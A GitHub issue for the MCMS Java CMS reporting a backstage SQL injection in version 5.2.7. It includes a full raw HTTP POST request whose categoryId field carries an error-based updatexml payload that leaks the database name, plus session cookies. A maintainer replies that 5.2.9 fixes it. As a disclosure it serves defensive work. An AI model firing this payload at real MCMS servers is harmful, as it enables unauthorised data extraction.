ming-soft / MCMS

完整开源!Java快速开发平台!基于Spring、SpringMVC、Mybatis架构,MStore提供更多好用的插件与模板(文章、商城、微信、论坛、会员、评论、支付、积分、工作流、任务调度等,同时提供上百套免费模板任意选择),价值源自分享!铭飞系统不仅一套简单好用的开源系统、更是一整套优质的开源生态内容体系。铭飞的使命就是降低开发成本提高开发效率,提供全方位的企业级开发解决方案,每月28定期更新版本
http://www.mingsoft.net
MIT License
1.49k stars 662 forks source link

MCMS 5.2.7 backstage SQLI #94

Closed penson233 closed 2 years ago

penson233 commented 2 years ago

I found the background address /ms/ CMS/Content /list found SQL injection

POST /ms/cms/content/list HTTP/1.1
Host: 10.232.135.172:8081
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-HK;q=0.9,zh-CN;q=0.8,en-US;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: JSESSIONID=BC054BA05F05C2277849BA9D110D8BD2; rememberMe=8KD9+2BchMunArotjQjJqdbFgPlOBY+du9z/7+qm6erPVg6Oqbj/6GyPccQbfhTjLUHgzS0i8I047FmzVpjK/Em75UrM56R4x4yWom7sgUoLFTgEnqQ+WSI/AFJI/AUw7KuIKgve/RENfO4VEk5vWq1pQt5Tbj9wjRK0kMwIwlUMvOnwNtscX6llcEq20tCjg4emocTkGBXS6AxccksR2/Rfz2kvOABK2dcO3vbQeYKuLWIGwdBIrWR45D0Ga5z9cVizdYxzj1+RD6gSK/J+ccQSQqkkJhBip6T/5Liy8Dp2v1RuxbRvbbpFRQjjDmSb0A/Lk91EPdPJaaO6/+8EIGzMMWqyS+8hK7dNYuAosg73dT+0k1GVc7dIjpMFhO8kerH8ZYBXNKlQjpnHQOXnGuzX9V20WerNAH1on0wkLECtmYoazWPG151op+bnQNqU8/ZZgJYeNg8HFlc9ijZUcQVuDkKVyltn1o57H190pDJQ8wua2T1Asrgt+3FOiFeLP0FZH68YqRe3lNjiU1wXmvvoJiXZ//QlytXtTyYb9SxxILohwHBdGWV9Ft9nnhQMcfk7xfOatAcj4yiwGmYcvAl042gcROdAbkeIMuotRsV1cNiJyceCOizjsEITIMzUCIBx3Epga1gBFi2F99UHZeHC7pqoQN1rjwkP+ALXgjz0/LdhF2ugt8LgZeRTewY24XPvvsAVd9zpAY6ytdiKEEaj9zNjt7sthP+Jz9F4pwEeUVA9JfPz9uHhx1+o254bM/s+skp+knPwAF6b0N9q4DZus9se4y/9HeUJPOHaVXyI9aqMdUhGrzS+i1sG3Lb9unUjE+XTTcjWzRk8vfeL6o5xCttjuC4B3w554UKydS6N/rRW/ZjVZaRRFFeg4Rta07pMHXP6dN3hN5Hys0MCdZNhcP/qwDW+5slZmGil/z8GF3DNIZyW8LALKZGZS1YVqc7PphYRdCt5YchjGacz3DBGss1DEW3mpU66TOv4iZb8vfYBeJuGZbeJO7I1Zpa6897qWxjJr0M7TPojm1ych8W+HnRvnoyEPZPzWmDIJ88thoLJfxrxMqERlmm19PWUBCCUpKdN7xGFtLuPdYBgcs9i23B1kWX4xKVEQ3DeylVHnGhYNvPfxjGDqDz9GZpV4jrdCuPZLkS9j4gxm+llp1FhyY8Nq9z2Jwb5OPrc3cFw6IeyW70eA/y1lFg1RNkkf+Rhqe8rsb/2bKEnZS5qxtgMc/QZPJ0x91Fpg0gKTVipWPURRu955BcHDTMRcKKnRAu33e1470mtyiIVIzCgRd96KHMKuBOKGf+lUNz/00zYkNzK6Y4usjsOTh+3PhANMMENyThpNLnl92g=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 176

categoryId=1','1'))) and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) and (ct.category_id=1 or ct.category_id in     (select id FROM cms_category where find_in_set('1

image

atfer that i found the reason,it is also in net\mingsoft\cms\dao\IContentDao.xml image image

killfen commented 2 years ago

5.2.9 fix it